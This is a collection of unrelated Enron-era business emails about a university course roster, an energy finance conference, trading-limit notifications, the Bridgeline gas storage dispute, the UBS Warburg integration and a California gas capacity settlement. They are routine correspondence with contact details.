---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 02/02/2001 
01:58 PM ---------------------------

Pamela Vande Krol Castro <castro@rice.edu> on 02/02/2001 12:59:28 PM
To: Vince.J.Kaminski@enron.com
cc:  
Subject: MGMT 656

Here is your latest roster. We are up-to-date on all changes but, of
course, the students may still drop/add up to the second week of module 5.
When the time comes, please check your roster carefully and make sure that
the people on the list really are attending your course. Mistakes happen so
I just would like to make sure we have a correct record.

As always, let me know if you would like the excel folder with e-mail
addresses. I don't send them at the same time to avoid overwhelming our
e-mail system. Thanks for your help!

- Pam (713-348-6223) 
 - 656.doc

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/12/2001 
04:19 PM ---------------------------
   
	From:  Karen Marshall                           01/11/2001 12:14 PM
	
To: Christie Patrick/HOU/ECT@ECT, Michael B Rosen/HOU/ECT@ECT, Cindy 
Derecskey/Corp/Enron@Enron
cc: Elyse Kalmans/Corp/Enron@ENRON, Richard Causey/Corp/Enron@ENRON, Sally 
Beck/HOU/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT, Jeffrey A 
Shankman/HOU/ECT@ECT 
Subject: Invitation to 2001 Energy Finance Conference Feb. 22-23, 2001- The 
University of Texas at Austin

The $500 registration fee is waived for any Enron employee who wishes to 
attend this conference because of our relationship with the school.  Please 
forward this information to your managers and staff members who would benefit 
from participating in this important conference.  (Note:  Vince Kaminski is a 
panellist for the Risk Management Session 3.)

Should you have any questions, please feel free to contact me at EXT. 37632.

Karen
---------------------- Forwarded by Karen Marshall/HOU/ECT on 01/11/2001 
07:38 PM ---------------------------

"Angela Dorsey" <Angela.Dorsey@bus.utexas.edu> on 01/10/2001 03:06:18 PM
To: "Angela Dorsey" <Angela.Dorsey@bus.utexas.edu>
cc: "Ehud Ronn" <eronn@mail.utexas.edu>, "Sheridan Titman (E-mail)" 
<titman@mail.utexas.edu> 
Subject: Invitation to 2001 Energy Finance Conference - The University of 
Texas at Austin

Colleagues and Friends of the Center for Energy Finance Education and
Research (CEFER):

Happy New Year! Hope you all had a wonderful holiday season.

On behalf of the University of Texas Finance Department and CEFER, we
would
like to cordially invite you to attend our:

2001 Energy Finance Conference
Austin, Texas
February 22 - 23, 2001
Hosted by the University of Texas Finance Department
Center for Energy Finance Education and Research

Dr. Ehud I. Ronn and Dr. Sheridan Titman are currently in the process of
finalizing the details of the conference agenda.  We have listed the
agenda
outline below to assist you in your travel planning.  Each conference
session will be composed of a panel discussion between 3 - 4 guest
speakers
on the designated topic.

As supporters of the Center for Energy Finance Education and Research,
representatives of our trustee corporations (Enron, El Paso, Reliant,
Conoco, and Southern) will have the $500 conference fee waived.
The conference package includes Thursday evening's cocktails &
dinner and hotel/UT shuttle service, as well as Friday's conference
meals,
session materials and shuttle service.  Travel to Austin and hotel
reservations are each participant's responsibility.

A limited number of hotel rooms are being tentatively held at the
Radisson
Hotel on Town Lake under the group name "University of Texas Finance
Department" for the nights of Thursday, 2/22/01 and Friday, 2/23/01 (the
latter evening for those who choose to stay in Austin after the
Conference's conclusion).  To guarantee room reservations, you will need
to
contact the Radisson Hotel at (512) 478-9611 no later than Monday,
January
22nd, and make your reservations with a credit card.  Please let me know
when you have made those arrangements so that I can make sure the
Radisson
gives you the special room rate of $129/night.

Please RSVP your interest in attending this conference NO LATER THAN
JANUARY 22nd to angela.dorsey@bus.utexas.edu, or (512) 232-7386, as
seating
availability is limited.  Please feel free to extend this invitation to
your colleagues who might be interested in attending this Conference.

PROGRAM OF THE 2001 ENERGY FINANCE CONFERENCE

Thursday, Feb 22:

3:00 p.m. Reserved rooms at the Radisson Hotel available for
check-in
5:30 p.m. Bus will pick up guests at the Radisson for transport to
UT Club*
6:00 p.m. Cocktails, UT Club 9th Floor
7:00 p.m. Dinner, UT Club
8:00 p.m. Keynote Speaker
9:00 p.m. Bus will transport guests back to hotel

Friday, Feb 23:

7:45 a.m. Bus will pick up at the Radisson for transport to UT

8:30 a.m. Session 1 - REAL OPTIONS
  Panelists:  Jim Dyer, UT (Chair)
    Sheridan Titman, UT
    John McCormack, Stern Stewart & Co.

10:00 a.m. Coffee Break

10:15 a.m. Session 2 - DEREGULATION
  Panelists:  David Eaton, UT (Chair)
    David Spence, UT
    Jeff Sandefer, Sandefer Capital
Partners/UT
    Peter Nance, Teknecon Energy Risk
Advisors

11:45 a.m. Catered Lunch & Keynote Speaker

1:30 p.m. Guest Tour - EDS Financial Trading & Technology Center

2:00 p.m. Session 3 - RISK MANAGEMENT
  Panelists:  Keith Brown, UT (Chair)
    Vince Kaminski, Enron
    Alexander Eydeland, Southern Co.
    Ehud I. Ronn, UT

3:30 p.m. Snack Break

3:45 p.m. Session 4 - GLOBALIZATION OF THE ENERGY BUSINESS
  Panelists:  Laura Starks, UT (Chair)
    Bob Goldman, Conoco
    Ray Hill, Southern Co.

5:15 p.m. Wrap-Up

5:30 p.m. Bus picks up for transport to airport/dinner

6:30 p.m. Working dinner for senior officers of Energy Finance
Center
Trustees

*We have made arrangements to provide shuttle service between the
Radisson
hotel and UT during the conference. However, if you choose to stay at an
alternative hotel, then transportation to conference events
will become your responsibility.

**************
Angela Dorsey
Assistant Director
Center for Energy Finance Education & Research
The University of Texas at Austin
Department of Finance, CBA 6.222
Austin, TX 78712
angela.dorsey@bus.utexas.edu

gngr
713-853-7751
----- Forwarded by Ginger Dernehl/NA/Enron on 06/26/2001 06:00 PM -----

	Maureen McVicker
	06/26/2001 04:43 PM
		 
		 To: Ginger Dernehl/NA/Enron@Enron
		 cc: 
		 Subject: transcription

Here it is:

Mary:
After reviewing heir form of Guaranty, I would prefer that we use our 
multi-product form.  Their form is more suited to guarantees of debt.  If 
they insist on using our form , I would be happy to mark it up but the 
mark-up would be fairly substantial.  Let me know what you want to do.

Carol 

Good summary. Tim, does your draft plan now require a new iteration?

Mike Jordan
24/07/2000 10:38
To: Tim Poullain-Patterson/LON/ECT@ECT, Richard Sage/LON/ECT@ECT, Fernley 
Dyson/LON/ECT@ECT, Phil Redman/LON/ECT@ECT, Andrew Cornfield/LON/ECT@ECT, 
Alex Holland/LON/ECT@ECT, Ralph Jaeger/FRA/ECT@ECT, Naomi 
Connell/LON/ECT@ECT, Shona Wilson/NA/Enron@Enron, Brent A Price/HOU/ECT@ECT, 
Sally Beck/HOU/ECT@ECT, "Kevin Rhodes" <krhodes@mgltd.com> @ ENRON, Beth 
Apollo/LON/ECT@ECT, Stephen Wood/LON/ECT@ECT
cc:  

Subject: MG Middle Office Integration Issues and timetable

To all

Tim has delivered the initial microsoft project plan for the MO integration - 
this is available to all via the integration project 'office' - i.e. Richard 
and Phil.

I summarise the key themes as :-

summary operational risk assessment across all MG entities and functional 
groups ( as defined within the DPR )
defining MO organisational structure and fit with Enron's control model - 
particularly logistics and co-ordination
interaction with Fin Ops processes
month end consolidation process
SAP implementation
working capital and revenue forecasting
interaction with RAC re VAR / trading limits ( market and credit )
awaiting notice of trading limits
credit counterparty review and set up within GCP
VAR methodology implementation
interaction with IT re systems development/maintenance
AS 400 development timetable and roll out to NY for WANG replacement
MITS/EOL migration
Use of Enlighten in application architecture
defined IT resource requirement
interaction with Legal re Enron Metals name change and related documentation 
issues
MO integration planning for settlements and trade accounting

The focus and objectives relating to the above for this week are as follows :-

review of London processes and define boundaries for segregation of duties 
implementation ( Action TPP ) - also discuss extension to NY ( SWilson )
review of Wolff activities in Germany ( Action KR/AC )
continuing review of new recycling yards ( project Cook ) in Germany ( Action 
AH/RJ )
review interdependencies between MO/Fin Ops/RAC/Systems integration plans ( 
Action MJ/RS )
document current assessment of operational risk with particular emphasis on 
Wolff and Recycling businesses ( Action MJ with KR/AC/AH/RJ/TPP/SW )
Brainstorm month end accounting close and potential earnings election for 
consolidation ( Action  TPP/MJ/BA/SWood )

Mike

please print this and attached and put in the Project Canary Due Diligence 
file.  Thanks.  Michelle

---------------------- Forwarded by Michelle Cash/HOU/ECT on 12/06/2000 01:58 

"Lynn Scrivener" <lscrivener@davis.ca> on 12/06/2000 01:44:43 PM
To: <michelle.cash@enron.com>
cc:  
Subject: Celgar Pulp Company

Attached are copies of Dean Crawford's correspondence to the  Employment 
Standards Branch and to Celgar.? These documents are in  Microsoft Word 
format.
?
Lynn Scrivener
Davis & Company
(604) 687-9444 x.  364
lscrivener@davis.ca
 - LTemp stds - Celgar request.doc
 - LT Cargill enc. authorization.doc

Dear Navroz

Thanks for getting back to me.  The reason there has been a dialogue (not, I 
should point out, with Nick, but with Shan Millie), is that my work is of 
quite a large size, and needs to find an appropriate home.  The question is 
should it go into a compilation book, or somehow be published in the 
magazine?  I was awaiting some feedback from Risk on the best course of 
action.

We were hoping to publish a cut down version in the magazine, and a full 
version in Risk's upcoming "Game Choices" book, but I've heard nothing from 
your organisation until now (and I fear we've now missed the boat on the Game 
Choices book deadline).   I'm attaching the full internal Enron document for 
your reference, and I'd appreciate your thoughts on how best to put the 
article in your journal.  Since the subject is highly diagrammatic, I'm 
concerned that 4000 words may be too many when coupled with diagrams!  (It is 
currently only 6000 words, but is around 25 A4 pages long.)  If you can give 
me some guidance on the issue of publishing extensive diagrams as part of the 
text, I'll get to work chopping my work around until it suits your preferred 
format.

Shan Millie gave me some good feedback on general points of style and clarity 
in my writing, but incorporating these would actually make the article longer 
rather than shorter.  I think you'd better look the document over before I do 
further work on it.

I look forward to your response.

Many thanks,
Steve Leppard

	From:  "Navroz Patel" <npatel@risk.co.uk>                           
04/28/2000 03:25 PM
	
Please respond to "Navroz Patel" <npatel@risk.co.uk>
To: <Steven.Leppard@enron.com>
cc:  

Subject: 

Dear Steven,

My name is Navroz Patel and I am the Technical Assistant at Risk Magazine. I  
am contacting you with regards to your initial dialogue with Nick Dunbar. 

We would be grateful if you could email to BOTH of the addresses below a 
copy  of your 'Real Options' article for our consideration.

Please note that articles must have full references, be approximately 4000  
words in length, and the attachment should be in MS Word or pdf format.

npatel@risk.co.uk

ndunbar@risk.co.uk

?

Thank you for your interest.

Yours Sincerely,

Navroz Patel.

Technical Assistant, Risk Magazine.

Lindy, if all FERC wanted is  a list and contacts, this looks fine.  If they 
wanted exact MDQ and usage numbers for each customer, let me know.  DF  

	From:  Mary Kay Miller                           12/11/2000 05:39 PM
	
To: Lindy Donoho/ET&S/Enron@ENRON
cc: Drew Fossum/ET&S/Enron@ENRON, Steven Harris/ET&S/Enron@ENRON, Glen 
Hass/ET&S/Enron@ENRON, Mary Darveaux/ET&S/Enron@ENRON 

Subject: Re: FERC Request  

Not having received the request,  it seems like the quantity related to the 
contract would provide them better info than a contact name and phone 
number-  did they specifically ask for that inf0??  upon answer, work 
directly with Drew as I'll be out.   MK

Lindy Donoho
12/11/2000 04:22 PM
To: Drew Fossum/ET&S/Enron@ENRON, Mary Kay Miller/ET&S/Enron@ENRON
cc: Steven Harris/ET&S/Enron@ENRON 

Subject: Re: FERC Request

Please see my original message below.  Are you okay with TW forwarding this 
info to FERC?
---------------------- Forwarded by Lindy Donoho/ET&S/Enron on 12/11/2000 
04:21 PM ---------------------------

Steven Harris
12/11/2000 04:19 PM
cc:  

Maybe you should ask Drew or Mary K.

12/11/2000 03:01 PM
To: Steven Harris/ET&S/Enron@ENRON, Shelley Corman/ET&S/Enron@ENRON, Steven 
January/ET&S/Enron@ENRON
cc:  

Subject: FERC Request

In response to a request of Steve January from FERC, I've put together a list 
of Transwestern's "major" shippers to California with contact names and phone 
numbers.  I've defined "major" as anyone with total firm contracts of 
25,000/d or more.  Please see the attached list.  Is everyone okay with me 
passing this along to Ray Montini at FERC?

Let me know if it's okay to go or if I need to run this by anyone else before 
sending it out.

Thanks,
Lindy

My fault on Tomas, I didn't remind Kevin.  It won't happen again.

DG    3-9573

11/30/2000 07:27 AM
To: Kam Keiser/HOU/ECT@ECT, Darron C Giron/HOU/ECT@ECT, William 
Kelly/HOU/ECT@ECT, David Baumbach/HOU/ECT@ECT, Errol 
cc:  
Subject: Basis Positions

On the Benchmark, these traders basis positions were not rolled off.    Is 
there something further that I need to do to make sure that happens in the 
future?

Thanks

Neal
Tomaski
Schwieger
Arnold

It was good to see you again this week.  I talked with Wayne Sanders and Tom
Falk, and we would very much like to get together with you for a meeting in
Dallas possibly in December.  Wayne asked that we include Jeffrey Skilling.
I have asked Jeanine Jankowski, my assistant, to help arrange the meeting in
Dallas.  Jeanine will be contacting your assistant.

Kath

This e-mail is intended for the use of the addressee(s) only and may contain 
privileged, confidential, or proprietary information that is exempt from 
disclosure under law.  If you have received this message in error, please 
inform us promptly by reply e-mail, then delete the e-mail and destroy any 
printed copy.   Thank you.

==============================================================================

There apparently was a proposal made at the last VP PRC Committee meeting to retitle the Commercial Support peer group to "Professional Services" (see note below).  Let me know if you are opposed to this, otherwise I will indicate ETS' support for this change later this week.
Gary

From: 	Oxley, David  
Sent:	Friday, June 01, 2001 12:42 PM
To:	Beck, Sally; Colwell, Wes
Cc:	Kean, Steven; Olson, Cindy; Lynch, Drew; Pieper, Kalen; Jones, Robert W.- HR Exec; Barnard, Marla; Joyce, Mary; Smith, Gary; Corteselli, Gina
Subject:	Proposal to Change "Commercial Support" peer group label to "Professional Services"

At the VP PRC meeting last Wednesday, Dave Delainey proposed we consider retitling the Commercial Support peer group as above. Apparently this suggestion was made and broadly supported at a policy committee meeting a few weeks ago. The suggestion is that the Support label is seen rather negatively across the organisation and the new label may be an improvement.

The VP PRC Committee resolved that they would be open to supporting a change, subject to the senior leads from across CS providing their views/support.

I volunteered to circulate this note to the 2 of you in EWS and ask my colleagues from HR to share with their CS leads to solicit their views before returning to the committee late next week with summarised reaction. Perhaps you would provide me with your views and a vote for or against? 

I would strongly recommend that we do broadly discuss this outside a small circle of people.

David

Beth,

I will send execution docs to Northeast.   Many thanks for your assistance.

Best regards,

All,

The following are highlights of today's Integration Team meeting:

All areas are on track for a successful legal closing of 2/8/02 and
1st day trading of 2/11/02.

Canada:  Three open issues.
	Parent Guarantee
	Some legal entity issues
	Capital/funding requirements

A work plan is in place for all three issues, but may not be
completed by 2/11/02. Worst case, only a few days delay in start
trading. This has NO IMPACT on day one trading in the U.S.

United States:  No "show stoppers" in U.S to prevent Legal Close or
First Day Trading.  Open issues are:

	Legal:  Status Green. Clients must have a Master Agreement or
Adoption Agreement or General terms and Conditions (GTC) in place
before trading can commence.  Getting agreements in place is slow
process (2 weeks to 2 months).  Legal and Credit Risk are working
hard to approve as many clients as possible from "Energy LLC"
approved list of 166. This impacts the number of clients that can
trade on day one.  Business expectations have been set for day one.

	Business:  Status Green.  No additional issues/concerns from
Louise Kitchen, COO, UBS Warburg Energy LLC.  No additional issues
from CFI, or Pat O'Donnel.

	Credit Risk:  Status Green.  For Day one, traders will not have
access to credit information. Credit Risk will distribute list of
approved clients to traders and traders will have to call for credit
approval.

	Mkt. Risk:  Status Green.  Walter Stuerzinger needs to approve
VAR models.  2/7/02 EBK briefing on VAR is important.

	FCD:  Status Green.  Some open issues surrounding SEC
requirements but they are being addressed.  An expedited approval
process will be used to resolve Day one exposure issues if they occur.

	Operations:  Status green.  Lead-time for templates used for
counterparty approvals is 24 hours.  Lead-time for confirmation
templates is 48 hours.  Impact: "don't make lead-time, don't trade
with this client".  IR/Derivative settlement process not ready yet,
but being worked by Ops/Credit.

	Corp Comm:  Status Green.  WEB site "look and feel" and contents
complete. Need sign off by legal/business (louise Kitchen).  Day one
communications to clients/employees ready.

There will be a conference call on Thurs February 7th at 10:00 EST
where the
"Go"/ "No-Go" decision will be made for the Day 0 "Legal Closing".
Dial in 19-337-0070, PIN 553815

There will be a conf call on Friday, February 8th, at 10:00 EST,
where the
"Go"/ "No-Go" decision will be made for the Day 1 "Commercial
Integration"
on Monday, February, 11th.  Same dial in number/pin

Thanks,
Mark
x6633

 - Status Report02_05_02.xls 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only
for the individual named.  If you are not the named addressee you
should not disseminate, distribute or copy this e-mail.  Please
notify the sender immediately by e-mail if you have received this
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free
as information could be intercepted, corrupted, lost, destroyed,
arrive late or incomplete, or contain viruses.  The sender therefore
does not accept liability for any errors or omissions in the contents
of this message which arise as a result of e-mail transmission.  If
verification is required please request a hard-copy version.  This
message is provided for informational purposes and should not be
construed as a solicitation or offer to buy or sell any securities or
related financial instruments.

True, but the limits and associated P&L notifications relate to commodity 
groups rather than business units - they used to be the same. Unfortunately, 
where we have become more sophisticated and, as in this case legitimately 
hedge a natural exposure with some other commodity, the latter commodity (and 
associated P&L) gets counted in the commodity "cut".

Loss notifications, especially, serve as a "flag", and provided the 
explanation makes sense and everyone who needs to make a decision about it, 
can do so, then it serves its purpose. The other upside is that when, 
sometime in the future, we have to refer back to an event, we have good 
"institutional memory".

I talked to Brent about this yesterday - my advice was that notifications 
would be better drafted by those closest to the positions (i.e. his mid 
office groups)

Rgds
DP

From:  Shankman, Jeffrey A.  
Sent: Thursday, June 21, 2001 9:11 AM
To: Abel, Chris; Buy, Rick; Nowlan Jr., John L.; Murphy, Ted; Port, David; 
Schultz, Cassandra; Whalley, Greg
Cc: Apollo, Beth; Wilson, Shona; Thibodeaux, Kenneth; Price, Brent A.; Hall, 
D. Todd; Burns, Jennifer; Romero, Araceli; Taylor, Liz; Wallace, Cassi
Subject: RE: Final 6/19/01 Global Products Notification

In this Violation memo, you are taking out positive P&L associated to a nat 
gas posion in the LPG books which is a true hedge versus some long dated 
propane positions.  When you add back the hedge P&L I believe there is no 
violation.

Jeff

From:  Abel, Chris  
Sent: Wednesday, June 20, 2001 4:25 PM
To: Buy, Rick; Nowlan Jr., John L.; Murphy, Ted; Port, David; Schultz, 
Cassandra; Shankman, Jeffrey A.; Whalley, Greg
Subject: Final 6/19/01 Global Products Notification

Attached is the Enron Global Markets Global Products Trading notification 
memo for  5 Day Cumulative Loss for June 19, 2001.  The Office of the 
Chairman for Enron Global Markets is responsible for printing out a hard copy 
of this memo, signing it and returning the hard copy to Chris Abel at 3155a, 
who will forward it to RAC to obtain their signature. 

Thank You

 << File: 6-19 Global Products 5 Day.doc >> 

Check out the latest version of Enron Business Online at home.enron.com.  
Click on Publications, then on Enron Business and "Volume 5, 2000".  This 
issue, read about what Ken and Jeff could have worn for Halloween costumes!

? Enron Broadband Services chips away obstacles;
? DealBench and the art of the paperless deal;
? Global risk managers structure risk even insurers can like;
? Diversity and what you think;
? Enron rescues a giant panda; and
? The Rise School leads lessons in compassion and ABCs.

Lets do it.  Give me a call.

Brian

From: 	Zisman, Stuart  
Sent:	Friday, January 11, 2002 5:55 PM
To:	Nemec, Gerald; McMichael Jr., Ed
Cc:	Redmond, Brian; Parks, Joe
Subject:	RE: Bridgeline Meeting and the First of my 10 daily emails

It probably makes sense to circle up on this on Monday and also to discuss a call that I received from Randy.  He indicated that we should probably sit down with Bridgeline to discuss the likelihood of acceptance/rejection of the storage/transport deal in order to potentially figure out what is most beneficial for both parties.

Stuart

From: 	Nemec, Gerald  
Sent:	Friday, January 11, 2002 12:18 PM
To:	Zisman, Stuart; McMichael Jr., Ed
Cc:	Redmond, Brian; Parks, Joe; Hodge, Jeffrey T.

I visited with John Higgins, Bridgeline's attorney and discussed the warehouseman's lien.  I pointed out the Section 542 of the bankruptcy code requires them to turn over property of the estate and our position is they don't have a valid lien.  I also indicated they were opening themselves up to damages for violation of the bankrupcty stay.  John indicated that since this issue (whether Article 7 of the UCC applies to natural gas storage)  would be a case of first impression they would be willing to litigate considering the amounts involved.  Summary - They are not willing to release the gas.  They are willing to release gas in excess of the amounts we owe to them, but only if stipulated that they are not waving their rights to assert the warehouseman's lien.  At this point it is probably better to get some gas and then decide whether to litigate the remainder.  Thoughts?  Stuart,  the answers to your questions are inserted below.

Sent:	Friday, January 11, 2002 11:02 AM
To:	Nemec, Gerald
Subject:	Bridgeline Meeting and the First of my 10 daily emails

I think we need to crystallize, in very short order, what the approval process will be for the sale of the Pad Gas in Storage Caverns #13/#14 to Bridgeline.  I will send you via fax the proposed deal sheet.

Several interesting points from the meeting:

1)  Bridgeline is of the view that 3/12/2002 (we thought it was 4/402) is the last day on which they are obligated to reimburse Enron for the Dow Lease - Any thoughts?  Who is right?; The contract states that they are obligated to reimburse through the earlier of July 1, 2002 or 114 days following the 4 BCF Date.  The 4 BCF date is defined at the day of the last Enron Pad Gas Payment.  The last Pad Gas Payment (for the month of November) was due on 12/10/01.  Thus, the 114 days should run from 12/10/01, which puts right around 4/4/02. 

2)  Their plan (assuming our deal goes through) is to amend and assume the existing lease - and get Dow to expressly release LRCI from any and all claims/liabilities/etc. following Bridgeline's assumption of the amended lease; This approach sounds reasonable. 

3)  Bridgeline indicated that Dow is of the opinion that approximately $167k is owed by Enron for dewatering brine removal fees ($0.20 per ton of salt removed) - I need your help to determine whether this is accurate; I don't see any basis for this in the agreement.  The $0.20 per ton of salt removed fee, refers to barrels of capacity being created in the Cavern #1.  This is related to the leaching operation.  If the fee is related to the leaching operation, then they might be correct. (Accounting would need to verify their numbers though).  If they are seeking a fee for brine removal during degassing, I don't think they have a basis for this fee.  We need to understand their basis for the claim.  

4)  Bridgeline is desirous of having Cavern #1 (along with the various rights-of-way) conveyed sooner rather than later (and wondered whether we could expedite the approval process on this part of the deal).  I don't know what the advantages/disadvantages there are to this but would love your input along with your thoughts on whether this is feasible or not; We have until July 1, 2002 to convey the Cavern #1.  To the extent we wanted to wait to wrap up all our issues and convey at that time, we are not harmed under the Partnership agreement.  Obviously we retain any risks associated with ownership of the cavern. 

5)  We indicated that we thought the approval process would take approximately 30 days from the day that we reached what we believed were mutually agreeable terms with Bridgeline (does this sound right?) - The goal is to be done no later than March 1, 2002; and I think this sounds reasonable. 

6)  Eric Booth is going to call Robert Morgan to get the support for the $550k of expenses relating to the dewatering line and the flowline.

Stuart

Jeff Dasovich asked me to forward this information to you about the
Comprehensive Settlement Agreement submitted in California.  If you want the
actual text of the settlement I can forward that as well.  Please let me
know what works best for you.  Thanks, Mike Day
From: MDay
Sent: Friday, May 25, 2001 2:50 PM
To: MDay
Subject: FW: SoCalGas - Capacity Settlement -&- Primary and Secondary Acce
ss Rights

From: MBD
Sent: Tuesday, July 11, 2000 1:09 PM
To: 'Jeff Dasovich Enron SF'
ss Rights

Jeff, here is the final version of the term sheet that Brian sent around.

Mike

From: Cherry, Brian - TPBKC [mailto:BCherry@sempra.com]
Sent: Friday, March 31, 2000 7:25 AM
To: Lorenz, Lad - TPLPL; 'Craig Chancellor'; 'abb@eslawfirm.com';
'agenergy@aeca.com'; 'agoldberg@lgl.twc.com'; 'Alexander, Michael@sce';
'Amirault, Paul@AEC'; 'aod@newsdata.com'; 'athomas@newenergy.com';
'awattslaw@earthlink.net'; 'awodtke@aandellp.com'; 'Baldwin, Mark@IGS';
'bbrunel@SMUD.org'; 'Beck, Steve@PG&E'; 'Bellenger, Geoffrey@PGE'; 'Black,
Larry@SWG'; 'Blue, Greg@Dynegy'; 'bmcc@mccarthylaw.com'; 'Bosley,
Kirby@Reliant'; 'bradylaw@pacbell.net'; 'Bretz, Cathy@PG&E'; 'Brown,
Keith@SWG'; 'Brown, Sam@SW'; 'Brown, William@SWG'; 'Burkholder,
John@cts/whb'; 'Bushman, Tom@CellNet'; 'cbaker@ns.net'; 'Cervin, Peter@BR';
'cgoodman@bellatlantic.net'; 'charles_doering@rmiinc.com'; 'Chau,
Andrew@sShell Energy'; 'Checketts, Bob@KR'; 'Cluff, Drew@Duke';
'cmkehrein@ems-ca.com'; 'Collette, Martin@Econone'; 'Comnes, Alan G.@MRW';
'Connell, Bruce@Conoco'; 'Cotroneo, Eileen@PGE'; 'Counihan, Rick@Green
Mountain'; 'Cushnie, Colin@SCE'; 'Dahlberg, Lynn@KR'; 'Dasovich,
Jeff@Enron'; 'Davis, John@KR'; 'Day, Michael@GMSSR'; 'Dickinson, Sandy@PGE';
'difellman@earthlink.net'; 'Douglass, Dan@SES'; 'dsloan@pge-nw.com';
'ecrem@ix.netcom.com'; 'ehahn@spurr.org'; 'Eisenman, Eric@PGE';
'eklinkner@ci.pasadena.ca.us'; 'Elsesser, Evelyn@IP'; 'epoole@adplaw.com';
'eric@gcnet.org'; 'ewo@jmbm.com'; 'Fawcett, Jeff@Enron';
'fergusonM@epenergy.com'; 'fogelmanm@steefel.com'; 'Folsom, Bruce@Avista';
'Foss, Rob@Coral Energy'; 'frazier@bull.som.yale.edu'; 'Frost, Pete@Conoco';
'Fullerton, Mark@WHP'; 'Gaillard, Bruno@Enron';
'ghinners@reliantenergy.com'; 'Golden, Patrick@PGE';
'gpickering@idahopower.com'; 'Graham, Roger@PGE';
'grant_kolling@cerberus.city.palo-alto.ca.us'; 'Hall, Rich@IGS'; 'Hannah,
Jim@TXU'; 'Harris, Mike@Reed'; 'Harris, Steve@TW'; 'Hawiger, Marcel@TURN';
'Healy, Bill@EPNG'; 'Hensman, Kevan@Aera'; 'Hilen, Christopher@Reliant';
'Hoglund, Patrick@PGE'; 'Honeycutt, Bedellia@REMAC'; 'Huertas, A.@Enron';
'Huhman, Steve@SoEnergy'; 'inggm@sce.com'; 'jbennett@gmssr.com';
'jgopal@energy.state.ca.us'; 'Jimison, John'; 'jmct@gmssr.com';
'jmpa@dynegy.com'; 'john.walley@swgas.com'; 'Johnson, Kirk@PGE'; 'Johnson,
Pamela@REMAC'; 'jond@qstr.com'; 'Jordan, Richard@SWG'; 'jsqueri@gmssr.com';
'jthomson@penn.com'; 'jurewijl@sce.com'; 'Karp, Joseph@Whitecase'; 'Katz,
Stefanie@SET'; 'Kebler, Curtis@Reliant'; 'Keeler, Paul@BR';
'keith-sappenfield@hlp.com'; 'keith-sappenfield@reliantenergy.com';
'kirk.t.morgan@wgp.twc.com'; 'Klatt, Gregory@SCGC'; 'kmills@cfbf.com';
'Kramer, Daniel@CIPA'; 'kschellin@mtpower.com'; 'Larmour, Jack@Dynegy';
'Latterel, Maria@PGE'; 'Ledene, Ben@WGS'; 'Leslie, John@Luce'; 'Lindh,
Karen@CIG/CMA'; 'Lins, Steve@Glendale'; 'Litteneker, Randall@PGE'; 'Lizak,
Greg@Itron'; 'Louttit, Craig@PGE'; 'Lu, Frank@LADWP'; 'Maan,
Raveen@Cerberus'; 'malcantar@aandellp.com'; 'Masuda, Scott@LADWP'; 'McClay,
Shelley@Coral Energy'; 'mcclintocke@epenergy.com'; 'McConn, Kathy@EPNG';
'McCrea, Keith@CIG/CM'; 'mdjoseph@adamsbroadwell.com'; 'Meadows, Ted@UDS';
'Meadows, Ted@Ultramar'; 'Miller, Jerry@PGE'; 'Miller, Preston@WGP';
'Moench, Mark@KR'; 'mtran@energy.state.ca.us'; 'nge@value.net'; 'O'Donnell,
Mike@PGE'; 'office@mccarthylaw.com'; 'O'Loughlin, Matthew@SCE'; 'Orr,
Carl@PGE'; 'Oshirock@pacbell.net'; 'Pate, Michael@OEM';
'paul.macavoy@yale.edu'; 'Pedersen, Norm@SCGC'; 'Pelote, Roger@Williams';
'Pettinato, Bob@LADWP'; 'phanschen@gj.com'; 'placourciere@sf.whitecase.com';
'Pocino, Mark@RC'; 'Pocta, Mark@ORA'; 'Porter, Doug@SCE'; 'Power,
Patrick@LB'; 'Radtke, Otto@CO'; 'Ramirez, Jaime@SWGas'; 'rbw@mrwassoc.com';
'Reid, Al@PanCanadian'; 'rgloistein@orrick.com'; 'rhc@mrwassoc.com';
'rliebert@cfbf.com'; 'rmccann@cal.net'; 'rnemec@mediaone.net';
'robertg@greenlining.org'; 'Rochman, Michael@CUB'; 'Rochman, Michael@SPURR';
'Rosmon, Lewis@Tractebel'; 'Ross-Leech, Diane@PGE'; 'Roth,
Rosalie@Solutions'; 'Roth, Tom@ET'; 'rtask@norm.com'; 'salleyoo@dwt.com';
'scarter@nrdc.org'; 'scohn@SMUD.org'; 'Shively, R.@Energynamics'; 'Silva,
Larry@Glendale'; 'simonsen@rmi.net'; 'Skaff, Andy@Dynegy';
'sneiman483@aol.com'; 'Soong, Gwen@IGS'; 'sscott3@enron.com';
'stomashe@energy.state.ca.us'; 'Stout, M.@sempra-slns'; 'Sullivan,
Catherine@Southernenergy'; 'Sutton, J.C.@scana'; 'Sweeney, Richard@CVernon';
'tbeach@vdn.com'; 'thompson@wrightlaw.com'; 'Tisdale, Roger@Occidental';
'toca@compuserve.com'; 'tomb@crossborderenergy,com';
'vhconsult@earthlink.net'; 'ward@phaser.com'; 'Weil, James@Aglet'; 'Wesson,
Parks@Astra'; 'whited@paceresources.com'; 'Wood, Bill@CEC';
'Wraff@adnc.com'; 'Wright, Elizabeth@LB'; 'Yap, Cathy E.'; 'Yu, Peter';
'Zaiontz, Jean@BP'; 'Zanaboni, Kathy@RES'; Reed, William
Cc: Morrow, Rick - TP3RMM; Sullivan, Glen J.; Follett, B. David - TPDBF;
Wright, Gillian - TP1GXW; Harrigan, James P. - TP1JPH; Van Lierop, Jan -
TP2JXV; Brill, Thomas R.; Sakarias, Wayne P.; Purves, Ralph A.; Nilarp,
Margarita - TP3MXM; Angeles, Zenee G. - TPZGA; Watson, Steven - TP2SAW;
Betonte, Robert - TP2RSB; Reed, William; Brill, Thomas R.; Schavrien, Lee
Subject: RE: SoCalGas - Capacity Settlement -&- Primary and Secondary Acce
ss Rights

My apologies to those of you who received the March 20 version.  Here is the
final version mentioned in the note below.

Attached for you review and support is the final Capacity Issues Settlement
in the Gas Industry Restructuring/Natural Gas Proceeding.  In addition, we
have included a revised version of Appendix A, the primary and secondary
receipt point access rights statement.

The attached documents are the result of countless hours of negotiation on
behalf of the parties supporting this document.  I would like to
congratulate all of the active parties for their patience and flexibility
throughout this process.  Because we are under an April 3 filing deadline,
we need to finalize support for this proposal no later than COB Friday,
March 31.  Please forward your support of this proposal to Lad Lorenz (213
